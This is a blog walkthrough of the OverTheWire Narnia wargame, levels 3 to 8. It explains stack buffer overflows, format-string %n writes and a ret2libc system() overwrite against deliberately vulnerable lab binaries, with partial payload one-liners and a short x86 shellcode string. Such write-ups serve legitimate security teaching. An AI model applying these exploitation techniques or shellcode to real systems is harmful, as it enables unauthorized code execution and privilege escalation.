Post

Exploring Narnia CTF N3 to N9 - OverTheWire

Exploring Narnia CTF N3 to N9 - OverTheWire

Narnia

Continuing from the Narnia series, where we solved challenges N0, N1, and N2, in this blog, I will be sharing my experience of solving narnia3 to narnia9.
This blog focuses on the methodology for approaching a CTF challenge and the brainstorming process involved in reaching a solution. These challenges are slightly more difficult compared to the previous ones.

Narnia 3

To log in to narnia3, you can connect to the SSH service hosted on port 2226 at narnia.labs.overthewire.org.
Use the following command: ssh -p 2226 narnia3@narnia.labs.overthewire.org.
You can use the password obtained while solving narnia2.

Let’s try running the binary /narnia/narnia3.

narnia3 try0

This binary copies the content of arg1 to /dev/null. I gave the argument as the password file /etc/narnia_pass/narnia4, and it copied it to /dev/null.
I tried running it with ltrace to see the library calls, and we can clearly see that the content of arg1 is first copied to a buffer using strcpy(). Interesting, there’s a chance of a buffer overflow here. Next, it opens /dev/null by passing it to open(), then it opens the arg1 file and reads the content of this file. After that, it writes the content to the /dev/null file descriptor.

Here, we can try giving a large string, which should overflow into /dev/null. The program will then open a user-controlled file. Let’s try giving a large string, and we’ll also check the disassembly to see the buffer sizes.

narnia3 try1

As expected, the large string overflowed the stack, resulting in an overwrite of the /dev/null string. In the above image, we can see that the binary is trying to open the file AAAAAAAAAAAAAAA instead of /dev/null.
Try different sizes for the input string to find when we start writing to /dev/null.

narnia3 try3

In the above image, after multiple tries, I found that after 32 bytes, we can overwrite /dev/null.
I created a directory inside /tmp and created a file called pass, then passed this path after 32 bytes, and that’s it. Now, the content will be copied to our controlled file instead of /dev/null.

We need to carefully craft the payload so it reads the password file and copies it to the pass file in the /tmp directory. You can use symbolic links for this purpose.

Narnia 4

Moving ahead, let’s log in to narnia4 using the password obtained in the previous level.
Let’s jump to /narnia and try executing narnia4.

narnia4 try0

narnia4 try1

Refer to the above images. When run with ltrace, it loops through all environment variables and sets them to 0, then arg1 is copied to a buffer.
Interesting, let’s directly try to overflow the buffer and see if we can overwrite the return address.

It seems that after 256 bytes, we can overwrite the return address. Verify this using the following command:
strace ./narnia4 $(python3 -c "import sys; sys.stdout.buffer.write(b'A'*264+b'BBBB')")

In above example, EIP points to 0x42424242, 256 bytes are enough buffer to store a shellcode. Now its simple we have to craft a shellcode and write the return address such that it points to our shellcode, same way we did for narnia2

Using the same payload we can get password for narnia5, following worked for me.

narnia4 try1

Narnia 5

Lets try executing narnia5,

narnia5 try0

In the above image, we can see that we need to change the i value from 1 to 500. arg1 is saved in buffer, and I tried giving a large input, but it was not overflowing. No matter what, only 64 bytes are written to buffer.

Lets run the binary with ltrace.

narnia5 try1

So, the program is using snprintf() to copy arg1 to buffer and strictly copies only 64 bytes, as we can see in the second argument of snprintf().

I will be viewing the source code of this binary to better understand it.

narnia5 try2

If we can change the value of the variable i to 500, we will get a privileged shell.
I tried multiple times, but a buffer overflow cannot be done here due to the size restriction.
After searching a bit, I found that functions like printf and snprintf, when used improperly, can be vulnerable to format string vulnerabilities.

Ideally, snprintf should be used like this: snprintf(buffer, sizeof(buffer), "%s", argv[1]).
However, in this case, it is used incorrectly. The user controls argv[1], and we can pass format strings in the input, which can lead to reading stack memory or even writing on the stack.
There are multiple articles available on the internet; you can start with format string attack.

When we run the binary, it prints the address of the variable i, which makes our task simple. We can write to that address directly.

$(python3 -c "import sys;sys.stdout.buffer.write(b'\xb0\xd1\xff\xff' + b'A'*496 + b'%n')")

The above mentioned argument would be useful, but in cases where you have to write a larger value to a memory location, writing A * n times would not be a good idea. You can use %nx, where n is the number of bytes of padding to print hex.

Narnia 6

Let’s jump to the source code of the program.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

extern char **environ;

// tired of fixing values...
// - morla
unsigned long get_sp(void) {
       __asm__("movl %esp,%eax\n\t"
               "and $0xff000000, %eax"
               );
}

int main(int argc, char *argv[]){
        char b1[8], b2[8];
        int  (*fp)(char *)=(int(*)(char *))&puts, i;

        if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }

        /* clear environ */
        for(i=0; environ[i] != NULL; i++)
                memset(environ[i], '\0', strlen(environ[i]));
        /* clear argz    */
        for(i=3; argv[i] != NULL; i++)
                memset(argv[i], '\0', strlen(argv[i]));

        strcpy(b1,argv[1]);
        strcpy(b2,argv[2]);
        //if(((unsigned long)fp & 0xff000000) == 0xff000000)
        if(((unsigned long)fp & 0xff000000) == get_sp())
                exit(-1);
        setreuid(geteuid(),geteuid());
    fp(b1);

        exit(1);
}

In the above code, fp is a pointer to the puts function.
There are two buffers, b1 and b2, which store arg1 and arg2.
Before copying the buffers, the environment variables and all cli arguments after the second one are set to 0 using memset()

After copying the arguments to b1 and b2, there is an if condition that checks something with the stack and exits under certain conditions (we will come to this later). Then, the program runs fp, which is the puts function with the user-supplied argument.

Here, format strings won’t work for us because the puts function does not expect any format specifiers.
Our best bet is to overwrite the address of fp to point to another function. system() would be a great choice if we want to spawn a shell.

narnia6 try1

As you can see in the above image, the highlighted section shows the strcpy() function, which is copying arg1 and arg2 to buffers b1 and b2. We can set breakpoints at these functions and check how we can overwrite the function pointer by analyzing the stack.

The following payload will overwrite the fp:

run AAAAAAAABBBBCCCCCCCCCCCCCCCCCCCC DDDDDDDD

Here, BBBB is the fp pointer address, followed by 20 bytes of buffer, and DDDDDDDD is buffer 2.

If you look at the PLT table, it will display all the functions used in this program. We can easily set the address of any of the functions present in PLT. Following are the functions present in the PLT table.

1
2
3
4
5
6
7
8
<exit@plt>
<geteuid@plt>
<memset@plt>
<printf@plt>
<puts@plt>
<setreuid@plt>
<strcpy@plt>
<strlen@plt>

One more thing, ideally in this scenario, we should be overwriting fp with the buffer address (on the stack), and in the buffer, we should have stored a compact shellcode. That would be easy peasy to spawn a shell. But in this binary, after the strcpy() operations are done, get_sp() is called, which checks the address of fp, and if it starts with 0xff, the binary will exit.
The developer of the CTF intended this, so we can solve this in another way, like changing the value of fp to some other function. Now, coming back to the PLT table.

I tried using memset() to write the buffer address in fp, because fp() is called after get_sp(), but poor me got to know this later, that memset() copies a single byte. My task would have been done easily if memcpy() was present. Then I tried strcpy() but it failed too. After multiple failures, I understood two things:

  1. This CTF needs to be solved by pointing fp to a function like system, which can spawn a shell with a smaller argument like /bin/sh—8 bytes, perfect for our scenario.
  2. None of the functions from the PLT table could help.

So, let’s jump into finding the system() address and overwrite fp with it. (Yes, I took some hints.)

We know libc is loaded in our binary, and system() is part of libc. First, we need to find the base address of libc.

narnia6 try3

In gdb, while the program is running, we can use info proc mappings to check the base address of libc. The highlighted section in the above image shows the base address of libc.

narnia6 try3

The same can be verified using the ldd command, as shown in the above image.
Now, let’s find the offset address of system().

narnia6 try4

Using the nm command, we can find the offset of system() in libc, as shown in the above image.
Make sure to get the offset from i386 libc, otherwise your exploit won’t work.

Let’s calculate the system() address by doing libc_base + system()_offset.

1
2
3
4
5
>>>
>>> hex ( 0xf7d7d000 + 0x00050430 )
'0xf7dcd430'
>>>

Now it should be simple—just overwrite the fp with the above address, and the argument to this function should be /bin/sh.

Narnia 7

This one is pretty nice; we already have enough knowledge to solve this challenge.
It’s a classic format string vulnerability with a twist.

The purpose of this CTF is to overwrite the value of ptrf (pointer to function) so it points to hackedfunction instead of goodfunction.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int goodfunction();
int hackedfunction();

int vuln(const char *format){
        char buffer[128];
        int (*ptrf)();

        memset(buffer, 0, sizeof(buffer));
        printf("goodfunction() = %p\n", goodfunction);
        printf("hackedfunction() = %p\n\n", hackedfunction);

        ptrf = goodfunction;
        printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);

        printf("I guess you want to come to the hackedfunction...\n");
        sleep(2);
        ptrf = goodfunction;

        snprintf(buffer, sizeof buffer, format);

        return ptrf();
}

int main(int argc, char **argv){
        if (argc <= 1){
                fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
                exit(-1);
        }
        exit(vuln(argv[1]));
}

int goodfunction(){
        printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");
        fflush(stdout);

        return 0;
}

int hackedfunction(){
        printf("Way to go!!!!");
            fflush(stdout);
        setreuid(geteuid(),geteuid());
        system("/bin/sh");

        return 0;
}

No need to do any kind of fuzzing to find the solution.
In order to solve it, first practice the simple format string vulnerability and understand how it works.
Just one hint is enough: carefully analyze the stack. You will need to first pop an address in order to start writing to our target address. Since the value to overwrite is bigger (address of hackedfunction), %nx would be helpful. If you need further help, we can discuss it. All the very best.

Narnia 8

The final BOSS.

This one is a buffer overflow vulnerability with a twist. And we have enough knowledge to solve this one as well.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int i;

void func(char *b){
        char *blah=b;
        char bok[20];
        //int i=0;

        memset(bok, '\0', sizeof(bok));
        for(i=0; blah[i] != '\0'; i++)
                bok[i]=blah[i];

        printf("%s\n",bok);
}

int main(int argc, char **argv){

        if(argc > 1)
                func(argv[1]);
        else
        printf("%s argument\n", argv[0]);

        return 0;
}

Command line arg1 is directly passed to func(), this function makes a copy of arg1 pointer with name blah, and this is directly copied to bok, which is a 20-byte buffer.
Copying is done using a for loop, and the loop continues until it finds a null byte character in our input.

Looks easy, right? We can give a large buffer, and it should ideally overwrite the return address. But after trying multiple times, no matter how long arg1 is, it stops copying user-input after 20 bytes. Sad, but what is stopping the for loop from doing that?

In gdb, if we carefully analyze this binary, we see that this happens because when bok is overflowed, it overwrites the address of blah, which is our source pointer. When the source pointer is changed, the program starts copying from some other location instead of arg1.

Let’s put breakpoints before the start of the loop and at the end of the loop, and then run the program with an input greater than 20 bytes.

1
2
break *0x0804919c
break *0x080491d6

narnia8 try0

In the above image, during the first breakpoint, we can clearly see 20 bytes of the bok buffer, and just after those 20 bytes, the address of blah is present. Hence, if we overflow bok, it will overwrite the address of blah, which will interrupt the proper copying of arg1 onto the stack.
This happens because of how the developer of this CTF has initialized the variables, especially in what order.
In the above image, during the second breakpoint, we can see that blah is overwritten with random values.

What if we overwrite blah with its original value of blah? This will work, and we can continue overflowing the stack, resulting in the overwrite of the return address, which is exactly 4 bytes after the blah address.

We can put the shellcode either in the buffer itself or use an environment variable and point the return address to our environment shellcode. I used an environment variable. Below is the shellcode for /bin/id which I used for testing.

export SHELLCODE=$(python3 -c "import sys; sys.stdout.buffer.write(b'\x31\xc0\x50\x68\x2f\x2f\x69\x64\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80')") After this variable is created, you need to find the address of this environment variable. Create a C program and use getenv() to find the address. Make sure you compile your C program with the -m32 flag to create 32-bit ELF output.

There is still one more hurdle: we need to find the address of the blah buffer before running the program so we can create our payload. There are multiple ways to do that.
If you need further help, we can discuss it. All the very best.

Final Note

That wraps up the Narnia series! It’s a great intro to stack-based buffer overflows and format string vulnerabilities. Now, for the next step in your journey, check out these challenges:

Feel free to explore Windows-based CTFs too.
Thanks for reading.

This post is licensed under CC BY 4.0 by the author.